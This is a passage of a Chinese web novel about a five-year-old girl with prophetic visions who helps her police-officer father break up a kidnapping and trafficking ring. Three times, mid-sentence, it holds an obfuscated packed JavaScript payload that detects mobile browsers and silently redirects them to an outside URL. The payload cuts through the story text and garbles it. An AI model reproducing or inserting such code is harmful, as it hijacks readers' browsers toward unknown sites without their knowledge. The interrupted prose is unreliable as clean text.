石雅感受着怀里软乎乎的小女孩,好笑地叹了口气,把药瓶塞到禾禾看不到的地方,开口安抚:“禾禾乖,雅雅阿姨不会有事的。阿姨没有生病,吃药是为了让阿姨变得更健康。” 禾禾摇摇头,想把自己看到的画面讲给石雅听。这时,禾禾惊恐地发现,她的嘴巴好像被胶水糊住了,不管她怎么努力,她的嘴巴就是张不开。 “禾禾?” 虞光城走进办公室,看到女儿正趴在石雅怀里,只露出小屁股在外面一扭一扭的。他好笑地扶额,走上前,将禾禾从石雅怀里拽出来,叮嘱:“不要赖着雅雅阿姨。” 禾禾顶着小兔子般的红眼睛,喊了声“爸爸”。 咦?!! 她又会说话啦! 禾禾好奇地伸出手指戳戳自己的嘴巴——嘴唇上没有胶水! 她连忙再次开口,想告诉大家雅雅阿姨会出事的消息,可很快,她发现自己又说不出话了。 禾禾反反复复尝试几次,终于意识到,她没有办法把眼前出现的画面告诉任何人。沮丧的情绪席卷禾禾的全身,连头上的小揪揪都变得蔫蔫的,她耷拉下脑袋,眼泪像断了线的珠子一颗一颗砸到地上。 她的眼泪吓了虞光城一跳。 虞光城以为是自己刚才说话口气太重了,连忙蹲到禾禾面前,掏出手帕给她细细擦拭眼泪,放缓语气开口道歉:“对不起禾禾,爸爸不是凶你……” 禾禾乖乖摇头:“和爸爸没关系。” 石雅接过话,对虞光城笑着解释:“刚才禾禾看到我在吃哮喘药,很担心我的身体。禾禾放心,阿姨身体可棒啦,上个月还得了省上比武大练兵的第一名,你忘啦?” 石雅上学的时候是学校里出了名的假小子,进了公安系统后,又成了同事们钦佩又敬畏的“铁娘子”。 她一贯坚强,哪怕被歹徒的子弹射穿胳膊,也能强忍疼痛一声不吭。 但此时,面对禾禾的关心,她的心忍不住软了又软:“禾禾,阿姨带你去喝糖水,让爸爸去审坏绑匪,好不好呀?” 禾禾抬头瞅瞅爸爸,又看看雅雅阿姨,两人看向她的目光中都透着关切。 她终于意识到哭解决不了雅雅阿姨的危险处境,只会让大家担心自己,她飞快地抬起小手抹掉眼泪,对石雅重重点头:“嗯!禾禾要喝糖水!要喝番薯甜羹!” 她最喜欢喝番薯甜羹啦,每次喝完,都会变聪明,能多做出好几道数学题呢! 她今天喝番薯甜羹的时候要努力想一想,到底怎么才可以帮雅雅阿姨摆脱坏人! 禾禾牵起石雅的手指,挎着小挎包,蹦蹦跳跳地离开了刑侦科。 虞光城望着禾禾欢快的背影,跟随她的动作不自觉地牵起唇角。直到禾禾的身影消失不见,他才站起身,对着镜子整理好身上的制服,一脸严肃地走出刑侦科,跟着刑侦大队的人一同踏进关押绑匪的审讯室。 “说,你们为什么要抓虞禾禾?” …… 公安局对面的老街有一家开了很多年的招牌糖水铺,滋味很不错。平时石雅只要有时间,路过都会点一碗糖水坐在铺子里喝完。 石雅带禾禾刚踏进糖水铺,站在红木柜台后的老板娘停下拨弄算盘珠的动作,笑眯眯冲她打招呼:“石警官您又来啦,还是老样子?” 石雅拉开凳子让禾禾坐好,微笑点头回应:“还要一碗番薯甜羹,再帮我打包五份红豆沙,五份双皮奶。” 老板娘手脚麻利地端上两人的甜汤搁到桌子上,低头看了眼禾禾,这下视线再也挪不开了:“石警官,你带的这个小姑娘真漂亮呀……” 她摸了摸自己鼓胀的肚皮,艳羡之余,更多的是对肚子里孩子的期待:“我的宝宝将来也能这么可爱就好了。” 禾禾好奇地打量着老板娘的肚子:“阿姨是怀小宝宝了吗?” “对呀。”老板娘笑呵呵地回应,满脸幸福,“再过半个月,小宝宝就要出生了呢。” 石雅还依稀记得老板娘怀孕前的泼辣模样,现在再看,老板娘浑身散发着即将为人母的柔和气场,与记忆中的模样大相径庭。 她不是一个喜欢和别人聊家常里短的人,可能是老板娘此时憧憬的模样实在太有感染力,她不禁开口:“你和你老公长得都好看,孩子肯定会很可爱。” 老板娘欣然接受了石雅的祝福,看到禾禾很喜欢吃番薯甜羹,偷偷往打包袋里多装了一份,算是对石雅给她孩子祝福的感谢。 …… 石雅直到把糖水带回局里分给大家,才发现老板娘偷偷塞进来的番薯甜羹。 她不是一个喜欢占人便宜的人,想了想,决定下一次再去糖水铺的时候,补上这碗番薯甜羹的钱。 这碗番薯甜羹自然落到了禾禾手里。 禾禾捧着打包得严严实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490906|170131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实的番薯甜羹,小脸挂起美滋滋的笑容。太好啦!她可以把这份番薯甜羹带回去送给时泽哥哥吃!时泽哥哥可聪明啦,一定能帮她想出救雅雅阿姨的办法! 她把留给程时泽的番薯甜羹装进小挎包,小心翼翼地拉好拉链,跟在石雅身后一起去给刑侦大队的叔叔阿姨们送糖水。 “大家辛苦了,我们刑侦科请大家喝糖水。” 石雅递上打包的红豆沙和双皮奶,熟络地拉开一把椅子坐在刑侦大队的众人中间,关心起案情,“那两个绑匪交代了吗?” 负责审讯两个绑匪的警察接话:“交代了哇,他们一口咬死对虞支队怀恨在心,绑架禾禾是为了报复虞支队,想吓唬吓唬虞支队。” “骗鬼呢!” 石雅气得重重拍了下桌子,负责审讯的警察手一颤,刚舀起的双皮奶掉回碗里。他吞了口唾沫,把双皮奶碗搁回桌子上,偷偷瞄了眼刑侦一队的队长殷坤,小声说:“气得我们殷队差点儿动手,还好虞支队进来,才把他拦住。” 抓捕两名绑匪后,警方在绑匪的“大黑鲨”摩托后座发现了几桶没有用掉的汽油。这几桶汽油的牌子,跟绑匪关押禾禾的地方洒的汽油完全一致。 再结合禾禾听到的绑匪对话,警方很清楚,这两名绑匪当时是想纵火杀人的! 可现在禾禾跑出来了,两名绑匪没有对她造成任何实质伤害。再加上她的年龄太小,说的话不能作为供词采用。 如果绑匪一直咬死不承认他们有纵火杀人的企图,恐怕法院会对他们从轻判决。 负责审讯的警察叹了口气:“这两个绑匪还对虞支队说……” 他看了眼禾禾,欲言又止,满脑子都是两个绑匪狰狞的笑脸。 石雅知道有些话恐怕没办法当着禾禾的面说,索性自己打开笔录本,本子上记录着两个绑匪审讯结束前说的最后一句话—— “虞光城,等老子们从牢里出来,绝对弄死你还有你的小兔崽子。哈哈哈哈……下一次,她和你都不会有这么好的命了!!!” 石雅脸色铁青,啪得一声扣住笔录本:“我就不信,他们没犯过其他案子!我现在就回去查!” 绝对不能让这两个绑匪有逃脱的可能! …… 禾禾一直竖起耳朵在听石雅和同事的对话,这时,她的眼前,突然再次闪现过画面。 画面里,两个绑匪看起来年龄已经很大了,两鬓斑白,浑浊的双眼透出令人毛孔倒立的凶光。他们手脚都戴着沉重的镣铐,站在刑场上,面对即将行刑的枪口没有一丝恐惧。 “哈哈哈,咱俩这辈子算是值了!烧死了大名鼎鼎的虞光城的女儿,还玩了那么多货……” “是呀,我现在都记得咱们从火场里逃出来玩的那两个妞儿,真带劲……这辈子再也没玩过那么带劲的货。” 禾禾不明白什么货啊妞啊,听得一头雾水,但她知道,这两个坏绑匪肯定又在说他们做的坏事! “雅雅阿姨!禾禾听两个坏蛋说过,他们要去转移掉货,然后烧禾禾!” 她的小鹿眼机灵地转了转,结合刚刚看到的画面,按照自己的理解又补充了一句,“他们玩牛(妞儿)!玩货!” 5. 黑手 第五章 他们玩货,玩牛(妞儿)。 禾禾不太能理解绑匪的对话,说得含混不清。 但石雅和在场的警员们听到这句话,对视一眼,都从对方眼中看到了抓住线索的喜悦——这两个绑匪口中玩的牛(妞儿)大概率是女人……他们把女人当货物,那……他们极有可能是人口贩子! “我这就去告诉我们殷队!” 刑侦一队的警员噌得一下踢开身下的凳子,一路小跑进审讯室。 禾禾看着阿姨叔叔们的反应,知道自己说的话肯定给大家提供了线索,偷偷抿嘴笑了下,大眼睛里满是得意。 刑侦科的吕横注意到禾禾的小表情,抬手大力揉了揉她的发顶:“咱们禾禾真是太棒啦!” 禾禾被揉得脑袋乱晃,连忙抬起胳膊护住发顶的两个小揪揪,气呼呼地瞪吕横:“吕横叔叔!你再把禾禾的小揪揪揉乱,禾禾就生气了!” 吕横顶着禾禾的抗议又揉了两下,直到石雅投来死亡凝视,他才讪讪收回手,不好意思地摸了摸鼻子,小声咕哝:“好好好,不摸了,不摸了。” 谁让他们禾禾长得实在太可爱了,他每次见了都忍不住想要rua一rua…… 禾禾确定吕横歇了继续rua她的心思,抱着脑袋的小手才小心翼翼放下来。 吕横见禾禾一脸警惕地瞪自己,手又开始痒了,想伸手去捏捏禾禾的小脸。 他清了清嗓子,努力唤醒仅剩的理智,把自己的注意力回归到案子上。 “禾禾从地道里逃出来后,我一直在想,为什么好端端的居民楼会有一条地道……” 他缺了小半截的食指握着红蓝彩铅,指着他画的线路图对刑侦大队的众人说,“这条地道的存在,本身就值得怀疑。” 地道通往的是广海市最有名的城中村之一,沙川街。沙川街治安混乱,外来流窜人员极多,经常有人凭空失踪,多日后又被发现尸体出现在某地。 吕横说起正事,两条黧黑的眉毛总是不自觉地挤在一起,像是个黑面神:“我调查了一下,紫玉坊的楼盘当初未建先火,甚至闹出了开发商将一套房子卖给几户人家的情况,最后不得不又多修了一栋楼盘。但是——关押禾禾的这套房子开发商从未公开售卖。” 同样未公开售卖的房子还有两套,分别位于小区的东、西两侧。这两套房子,临近东西两侧的城中村。 东侧的东水街是最近两年冒出头的红灯区,西侧的西水街黑.帮云集。 吕横在两套房子上画了个圈:“我推测,既然关押禾禾的房间有地道,那这两套房子大概率也有地道。好端端的房子,为什么要在里面设计地道呢?地道还正好通往各个城中村。如果我的推测成立,那紫玉坊的开发商何青雄很值得怀疑。” 石雅听了吕横的推测,也想起来了:“何青雄?我记得几年前,他儿子因为故意杀人被逮捕,他请的律师极力主张他儿子是过失杀人。是虞队找到决定性证据,定了他儿子的故意杀人罪!” 刑侦一队和刑侦二队兵分两路,一队去调查两名绑匪转移的“货”,二队则根据吕横的分析,果然在另外两套未售卖的房子里找到了地道。 其中临近东水街的地道,直通东水街一家规模宏大的按摩店。 刑侦二队的警察破门而入时,按摩店老板正带着两个男人,试图对关在房间里的女孩实施侵犯。 据被解救出的女孩说,她是被两个男人以工厂招工的名义,从北方拐卖到广海的。 女孩对拐卖她的两个男人的描述,与拐卖禾禾的那两个绑匪长相特征完全一致。 …… 两个绑匪压根没想到,警方竟然在紫玉坊发现一条地道,地道还直通他们贩卖妇女的按摩店。 他们一开始还想抵赖女孩污蔑,可当他们转移的女孩都被解救带回公安局后,两人彻底傻眼——这些警察,为什么能找到被他们藏起来的“货”?!! 两人明白,现在继续咬定他们没有伤害虞禾禾的意图也没用。他们拐卖关押的那群女孩,已经足够让他们判死刑了。 “我交代!我交代!是何青雄,我们都是何青雄的人,是他让我们绑架并烧死虞禾禾的!” 两个绑匪一股脑儿地交代了全部罪行,只是被押走前,他们还是心有不甘地看向虞光城,咬牙切齿地问:“虞光城,你他妈为什么知道老子拐卖了这些女人?!” 虞光城抱臂冷笑,挥了下手指,示意将两个绑匪带去关押。 他利落地收起笔录本,想起禾禾提供的两个绑匪的关键对话,薄唇的弧度肉眼可见地柔和下来。 他家禾禾很聪明,也很勇敢,这点随了她妈妈。 幸好禾禾听到了这两个绑匪的对话,他们警方才能将绑匪顺利绳之以法。 与此同时,两个绑匪在被押送的路上,听到押送他们的警察聊天。 “虞支队家的禾禾真聪明,还能记住犯罪嫌疑人说过他们玩妞儿,不然,咱们根本找不到突破口。” 两个绑匪闻言一愣,对视一眼,都从对方眼里看到怨恨的情绪—— “他妈的你这王八蛋!是不是你在那个小丫头面前说漏嘴的!” “你他妈的才是王八蛋!老子才没在她面前说过自己玩妞儿,说漏嘴的人是你吧!!!” 两人平日里聊天荤素不忌,玩妞儿睡女人之类的话天天挂在嘴边。他们记不清自己绑架虞禾禾当天,到底有没有在虞禾禾面前说过荤话,但自私的本能让他们不约而同地选择把过错推在对方身上。 不知道谁先踹了谁一脚,谁又唾了谁一口,两人很快在警车上大打出手。 等警车停到看守所门口,警察打开押送犯人的后车厢,其中一个绑匪正用胳膊肘死死勒着另一个绑匪,被勒着的绑匪脸色涨红,眼瞅着就要断气了。 负责押送的警员连忙将两人拉开,分别关押在两间牢房。 但半个月后,看守所还是传来消息,在中午的囚犯放风时间,一个绑匪用磨尖的石头割破了另一个绑匪的大动脉,对方当场死亡。杀人的绑匪也因为拒捕,被狱警当场击毙。 当然,这都是后话了。 …… 对刑侦大队的众人而言,今晚注定又是一个不眠夜。 但辛苦之余,大家更多的是兴奋! 近半年来,广海市少女失踪绑架案频出,愣是找不到一点儿线索。没想到,这次在禾禾的帮助下,他们不仅抓到了绑匪,还顺藤摸瓜带出了潜伏在背后的黑手何青雄。 据按摩店老板交代,按摩店的背后投资人正是何青雄。 刑侦一队派人去抓捕何青雄,二队留在局里负责安抚救治刚刚获救的女孩们。 刑侦科的几人也各自忙碌起来。 禾禾一整天里,一直沉浸在她帮叔叔阿姨们抓住大坏蛋的兴奋之中。特别是当雅雅阿姨告诉她,她还拯救了很多漂亮姐姐后,她就更高兴了。 这种兴奋的情绪,一直持续到她回到公安家属院。 虞光城刚把车在家属院楼下停稳,禾禾立刻拧开车门跳下车,背好小挎包,一溜儿烟跑进单元楼里,迫不及待地敲响程家的房门。 来给她开门的人是程国生。 程国生手里还拿着件缝补一半的破洞警服T恤,打开门看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490907|170131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前小小的身影,笑得眯起浑浊的双眼:“禾禾来了啊,快进来,时泽哥哥在卧室写作业呢。” 他侧过身让禾禾进门,自己留在原地等虞光城。 今天他忙着去隔壁市给程时泽买药,没去公安局,一路上心里却一直记挂着禾禾被绑架的案子,也不知道绑匪被抓住了没有。 他可得好好问问光城。 虞光城一进单元门,看着程国生巴巴地站在一楼的楼道口,就明白师父想问什么,笑着开口:“放心吧,师父,绑匪抓住了,幕后主使也供出来了。” 在师父面前,虞光城终究是没压住藏了一天的得意,眉飞色舞道:“我家禾禾真是太机灵了!就因为她偷听到了绑匪的对话,我们还救出了被绑匪拐卖关押起来的十多名女孩!” 说完,他还臭屁地又补充了一句:“这孩子就随我!” 虞光城自从爱人上官婕去世,整个人变得越来越寡言冷峻,只有偶尔在师父程国生夫妇面前才流露出几分孩子气。 程国生自然不会在爱徒开心的时候扫他的兴,笑着伸手虚点了点虞光城的头:“你啊你……快,进来坐,给我详细讲讲这个案子。” 绑匪抓到就好,他的心这下总算可以放回肚子里了。 …… 大人在外面聊天,禾禾背着装番薯甜羹的小挎包,熟门熟路地跑到程时泽卧室,乖乖踮起脚尖敲门:“时泽哥哥快开门,禾禾来给你送糖水啦!” 话音刚落,卧室的门打开一条缝。禾禾侧了下身子,顺着小缝直接挤进门,一屁股坐在程时泽的床上:“这家番薯甜羹可好喝啦,时泽哥哥,等下次你来局里玩,我和雅雅阿姨带你去店里喝!” 她从小挎包里取出番薯甜羹,双手小心翼翼地捧到程时泽的书桌上。 程时泽扫了眼包装完好的番薯甜羹,知道禾禾一路上肯定一直小心保护着,心里涌过一阵暖流,嘴上却说:“我不爱喝甜的,你以后别专门给我带了,太麻烦了。” 禾禾听着也不恼,打开盖子,笑眯眯地舀了一勺往程时泽嘴边递,小脚还开心地晃晃:“很好喝的,时泽哥哥尝尝嘛!” 禾禾红扑扑的小脸写满期待,程时泽拒绝的话到了嘴边,却怎么都说不出口。 沉默片刻,他伸手接过禾禾手里的勺子:“谢谢,我自己来。” 他觉得虞禾禾什么都好,就是有点太烦人了。 算了算了,看在虞禾禾昨天还被坏人抓走的份上,他还是喝了吧。 “时泽哥哥,我有个问题想问你。” 禾禾不知道程时泽的想法,看到程时泽总算开始喝糖水了,迫不及待地问出她纠结一整天的问题:“如果有一天,我很重要很重要的药会被坏人踩碎,那我该怎么办呀?” 她没有办法把看到石雅的哮喘药被踩碎的画面告诉别人,小脑袋瓜转了一天,想到最好的办法,就是用自己来举例子。 程时泽舀甜羹的手一顿,眉毛皱起,黑眸中渐渐聚拢起冷郁的情绪:“幼儿园有人欺负你?!你有没有告诉虞叔?” 禾禾意识到程时泽误会了,连忙摆手,两条小胳膊都快摇成雨刷器了:“没有啦时泽哥哥!这只是禾禾的想象!是想象!” 程时泽放下喝糖水的勺子,细细端详禾禾好半天,确定她的确没有被人欺负的迹象,注意力才回到禾禾的问题上:“这个药很难买吗?不是很难买的话,直接买一瓶新的不就好了?如果很难买……那就提前多准备几瓶放在家里,以备不时之需。” 禾禾听完,小鹿眼唰得一下亮了:“对呀!禾禾可以多买几瓶!可是时泽哥哥……什么叫一杯杯食之须?是好吃的吗?” 6. 宿主 第六章 “一杯杯食之须,听着感觉很好吃的样子。” 禾禾忽闪忽闪着小鹿眼,满脸清澈懵懂,忍不住吸溜了一下口水。 她的反应呛得程时泽直咳嗽,因为生病苍白的皮肤染上一层淡淡的红晕:“以备不时之需不是吃的,它的意思是……” 程时泽看禾禾俨然一副小馋猫的模样,明白就算跟她解释这句话的意思,她肯定也听不进去,叹了口气:“算了,等你长大一点儿我再给你解释。” 他拉开暗红色的破旧漆木书桌,从抽屉里拿出一颗精心保存好几天的进口巧克力:“伸手。” 禾禾乖乖并拢双手,伸到程时泽眼前,一颗包装精美的巧克力落进掌心:“哇!好漂亮,这是什么呀时泽哥哥?” “我们班同学分给我的巧克力。” 程时泽不好意思告诉禾禾,这颗巧克力是他专门留给禾禾的,只说,“我不喜欢吃巧克力,给你吧。” “哇——” 禾禾像是盛着宝贝一样,小心翼翼地拆开巧克力包装纸,巧克力塞进嘴里,甜丝丝的味道强势霸占了她的味蕾。 她幸福地眯起小鹿眼,满脸开心嚼着巧克力,囫囵不清地说:“巧克力好好吃哦~谢谢时泽哥哥!时泽哥哥最好啦!” 禾禾的话太直白,夸得程时泽有些难为情。 他端起碗,仰头一口喝完剩下的番薯甜羹,耳廓悄悄红了:“禾禾,你没事就出去吧,我要写作业了。” 他握起笔,视线落回桌上,继续埋头攻克高中才会学到的奥数难题。 “时泽哥哥,那我先出去啦~” 禾禾担心自己吵到程时泽,懂事地捂住嘴巴,轻手轻脚地退出卧室,还不忘帮程时泽轻轻锁好门。 卧室重新回归静谧,程时泽望着垃圾桶里空掉的糖水碗,没忍住翘了翘唇角。 他打小比同龄人聪慧得多,用老师的话来说,他是万里挑一的天才。从小到大,他总是冷眼打量每一个和他年龄差不多的人,觉得他们蠢得冒泡,不愿意和他们多费口舌。 大概是虞叔对他太好了,他才愿意搭理虞禾禾,从来不会觉得她傻乎乎,甚至很多时候觉得她格外可爱。 程时泽这样想着。 禾禾傻就傻点吧,没关系,等她慢慢长大,肯定会变得越来越聪明。 …… 禾禾一直等回到客厅,才放下捂嘴巴的小手,长长地吁了口气:“呼——憋死禾禾啦!爸爸!” 她笑着扑进虞光城怀里,小团子似的身子在虞光城的怀里蹭了又蹭。 虞光城顺势把禾禾抱在小腿上,长腿伸直,像跷跷板似的上下轻轻颠着禾禾:“禾禾飞高高咯!” 禾禾被逗得哈哈大笑,注意到程国生在缝补警服,好奇地眨眨眼睛:“程爷爷,这件警服破了好多地方,你为什么不换件新的穿呀?” 程国生抬起头,摘下断了条镜腿的旧眼镜,伸手摸摸禾禾的脑袋,笑容和蔼。 公安局每年都会给每个警察发放几套制服,四个季节的常服和作战服都有。 按道理来说,程国生不用这么节俭。但他顾虑得多,想着局里不给退休人员发新制服,等明后年他退休,就再也领不到新制服了。 他现在穿了新制服,退休以后,就得自己花钱买衣服,这样花销太大。 他得把局里发的新制服留着,以后慢慢穿,要是能一直穿到闭眼那天就更好了。 孙子程时泽的身子骨弱,得天天靠着进口药滋补续命。 他只能趁着自己现在还活着,尽量多攒一些钱。这样,等将来他们老两口去世,留下时泽一个人孤零零在世界上,时泽也不至于因为缺钱活不下去。 这些想法,程国生从来没有告诉过任何人,自然也不会专门说给五岁的禾禾听。 所以,程国生听到禾禾的问题,只是笑着说:“因为爷爷想节省一点过日子。” 禾禾扒在虞光城的腿上,听到程国生的话,若有所思。很快,她一骨碌从爸爸身上跳下来,举起桌子上的针线,冲程国生扬起笑脸:“那禾禾帮爷爷一起节省!爷爷眼睛不好,禾禾帮爷爷穿线!” 程国生被逗得哈哈大笑:“那爷爷谢谢禾禾咯~咱们禾禾最厉害最懂事了!” 他过得拮据,说好听点叫节省,说难听点就是吝啬。局里有些人跟虞光城一样,体谅他一分钱恨不得掰几瓣花的做法;也有人背地里骂他“铁公鸡”、“吝啬鬼”。 他活了大半辈子,也不在乎年轻一辈的同事对他的态度。 但现在听禾禾喊着要帮他一起节省,程国生的心里是说不出的熨帖。 他抬手摸了摸禾禾的脑袋,语气里满是真挚的祝祷:“禾禾这一劫算是过了,以后一辈子都要平平安安,顺风顺水。” …… 父女俩在程家吃完晚饭才离开。 禾禾右手牵着虞光城,努力迈开小短腿,尝试一次跨两级台阶。等她哼哧哼哧回到自己家,已经累得满头大汗了。 一进家门,禾禾哒哒哒跑进卧室,从柜子里取出自己的小金猪储钱罐,抠开小金猪肚子下面的黑色软橡胶盖,把里面的钱一股脑儿地倒在床上,开始认认真真数起来。 虞光城经过禾禾的卧室门口,看到她正趴在床上,两只小脚丫一前一后地慢悠悠晃着:“禾禾,你在做什么啊?” 禾禾的小手指飞快数着手里的钱,不忘扭头对爸爸解释:“我在数自己的零花钱有多少,我想给雅雅阿姨买药!” 虞光城疑惑:“买药?” 禾禾重重点头:“嗯~我想给雅雅阿姨买一瓶药!” 她的小脑袋瓜转得飞快,想起程时泽建议她买药的最后一句话:“时泽哥哥说,这叫一杯杯食之须!” 虞光城愣了两秒,才意识到禾禾想说的应该是“以备不时之需”,他握拳低唇轻咳,才抑制住笑出声的冲动。 他不太能理解禾禾给石雅买哮喘药的举动。石雅的哮喘并不严重,出于谨慎,她平日里药瓶也从不离身,应该不存在“以备不时之需”的时候。 但虞光城一向尊重禾禾的想法:“好,那禾禾认真数,如果零花钱不够,爸爸再给你补一点。” “爸爸,禾禾数清楚啦!” 禾禾从床上支棱起来,在床垫上高兴地蹦蹦跳跳,“我攒了六百三十元八角六分!” 虞光城抬手看了眼腕表,从禾禾进卧室到现在才三分钟,三分钟就把钱数清楚了? 他将信将疑接过禾禾手里的钱,自己又数了一遍,竟然真的一分不差。 明天!他要第一个去局里上班,站在大门口告诉所有人——他的宝贝女儿禾禾会数钱了!!! …… 接下来的两天,虞光城忙得连轴转,一直跟着刑侦大队的警察们调查何青雄的案子,立誓要挖出何青雄的全部违法犯罪证据。 何青雄敢对禾禾动坏心思,那他绝对不能让何青雄有逃脱的可能! 虞光城经过几天的深挖,还真挖出了何青雄的许多秘密,而最令人震撼的秘密,恐怕何青雄自己都不知道。 他拿着检测报告走进审讯室,审讯椅上的何青雄慢吞吞抬起头,看向他时,眼里满是怨毒。 虞光城压根不在乎,冷着脸,把检测报告扔到何青雄面前:“送你一个惊喜。” 何青雄瞪他一眼,夺过检测报告翻开,一行一行看到最后,满脸横肉的脸上血色彻底消殆:“你……虞光城!这报告一定是你伪造的!我儿子怎么可能不是我儿子!!?” “爱信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490908|170131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不信。” 虞光城没有过多解释,只抛下这么一句话,“你涉嫌拐卖妇女组织卖.淫、绑架,豢养黑.帮打手,我们警方找到的证据,已经足够判处你的死刑。” 他给何青雄看亲子鉴定报告,是为了杀人诛心。 何青雄嚣张了大半辈子,唯一的遗憾,是他只生了一个儿子。他对儿子异常宠溺,要星星绝不给月亮,儿子好不容易长大,几年前却被警方抓捕后定罪枪毙。 他为了给儿子报仇,雇佣绑匪绑架虞禾禾,想让害死他儿子的虞光城同样尝尝丧子之痛。 何青雄今天才知道,他为了给儿子复仇赔上了一切,可这个儿子压根不是他的亲生孩子! 当年,有个按摩女发现何青雄的妻子和自己同一天生产,趁着医院没人,偷偷掉包了她和何青雄的儿子。 警方控制何青雄发家的按摩店后,按摩店老板亲口告诉了警方这个秘密:“我年轻时被何青雄拐到广海,他把我囚禁在按摩店里动辄虐待,天天逼着我做皮肉生意。我恨他!!!” 大概是老天有眼,她在意外怀上某个嫖.客的孩子后,去医院预约流产手术,偶遇了陪老婆做产检的何青雄。何青雄老婆的预产期和她十分接近,那一刻,她的脑海里慢慢浮现出复仇计划的雏形。 她一直隐瞒怀孕的事实,直到临近生产,才住进何青雄妻子隔壁的病房。生下孩子后,她顺利调换了自己和何青雄的孩子,抱着何青雄的孩子光明正大地回到按摩店。 “当时的按摩店老板和何青雄得知我瞒着他们偷偷生了孩子,可生气了。于是……何青雄夺过我怀里的孩子,当着所有人的面,把孩子摔死了。哈哈哈哈……何青雄,他亲手摔死了自己的孩子!听说他现在为了给我儿子报仇,被抓进监狱了,真是好事,是好事啊!” 在场的警察们大受震惊,脑子里不约而同地蹿出同一句话——多行不义必自毙。 何青雄他该啊! 何青雄本人得知这一切,气得双眼猩红,恨不能立刻杀了按摩店老板。 可现在的他什么都做不了,只能拿手中的亲子鉴定报告撒气,他嘶吼着撕碎报告,雪白的纸屑如雪花一般纷纷扬扬落下,像是为他敲响最后的丧钟。 …… 周一早上,虞光城熬了个通宵结案,石雅主动承担起送禾禾去上幼儿园的重任。两人一路上大手牵小手,说说笑笑,很快走到幼儿园门口。 “诶?珍珍老师呢?” 禾禾在门口环视一圈,发现今天迎接小朋友的老师里面,没有陈玉珍的身影,多了一个从来没有见过的漂亮老师。她不知道漂亮老师的名字,但还是乖乖挥手,冲漂亮老师打招呼:“老师早上好~” “哇,这个小女孩好可爱呀!” 漂亮老师笑盈盈地走上前,蹲下来揉了揉禾禾的脸蛋,自我介绍道,“你好呀,小朋友,我是你们向日葵班的新老师顾漾漾,你可以叫我漾漾老师。” 禾禾甜甜地喊了声“漾漾老师”,任由顾漾漾牵着她进教室。离开时,她不忘扭头和石雅挥手告别,语气欢快:“雅雅阿姨下午见~到时候禾禾会送你一份礼物哟~” 石雅目送禾禾走进教学楼,才恋恋不舍地一步三回头离开了。 也不知道宝贝禾禾又给她准备了什么惊喜呢?单是想一想禾禾的惊喜,她都觉得自己今天充满干劲,一口气至少能破十个案子! 与此同时,顾漾漾站在教学楼二楼窗边,看着石雅离开的背影,冷笑勾唇:“系统,这就是虞光城暗恋的女警察?简直就是个男人婆嘛,毫无魅力可言,虞光城的眼光真是够差的!” 系统柔声道:【没事啦,宿主,你不用介意石雅的存在,今天下午,她会死于哮喘发作~以后,你就是虞光城唯一的官配~】 7. 抢劫 第七章 禾禾在幼儿园里很受欢迎,刚牵着顾漾漾的手踏进向日葵班的教室,小朋友们一窝蜂地凑上来,拉着她的手问东问西。 “禾禾,你为什么这几天没来幼儿园呀?我妈妈给我做的小点心,我还给你留着呢!” “禾禾、禾禾!我带了新的芭比娃娃,我们一会儿一起玩过家家吧~” “虞禾禾你是不是生病啦?放学去我家,我让我爸爸给你打屁股针!” 禾禾本来还在笑着回应好朋友们,听到要打屁股针,吓得小身体一哆嗦,两只小手连忙捂住屁股:“琪琪,我没生病,不用打屁股针。” 叫琪琪的女孩松开拉禾禾的手,失望地叹了口气:“那好吧。” 她想约禾禾去家里玩好久了,一直不知道该怎么开口,本来还以为这次是个好机会的…… 张小胖趁琪琪失神,凭着圆滚滚的身体从最外圈挤到禾禾面前,插话道:“禾禾,你看到漾漾老师了吗?她长得好像香江电影里的女明星哇!比珍珍老师漂亮多了!” 张小胖父母开了个大排档,一家人平日里生活在铺子二楼,身上多多少少沾了一点味道。张小胖长得胖又不爱洗澡,现在天气热,他一凑近,身上的油烟味瞬间钻进每个小朋友的鼻腔。 大家本来就不喜欢张小胖,闻到他身上的味道,不约而同地捂住鼻子后退几步,琪琪更是直接喊出声:“张小胖,你身上臭死啦!能不能回家洗个澡呀?!!” 张小胖扭头看了眼琪琪,苦恼地搔搔脑袋:“我不喜欢洗澡。” 说完,他重新看向禾禾,迫切地想要从她身上寻求认同:“禾禾,漾漾老师是不是要比珍珍老师漂亮很多呀?我问了好多小朋友,他们都不说话。” 其他小朋友不回答张小胖的问题,是因为他们讨厌张小胖。但心底里,都觉得漾漾老师更漂亮更温柔。现在听张小胖问禾禾,大家都不再说话,竖起耳朵想听听禾禾的答案。 禾禾不太喜欢这种问题。 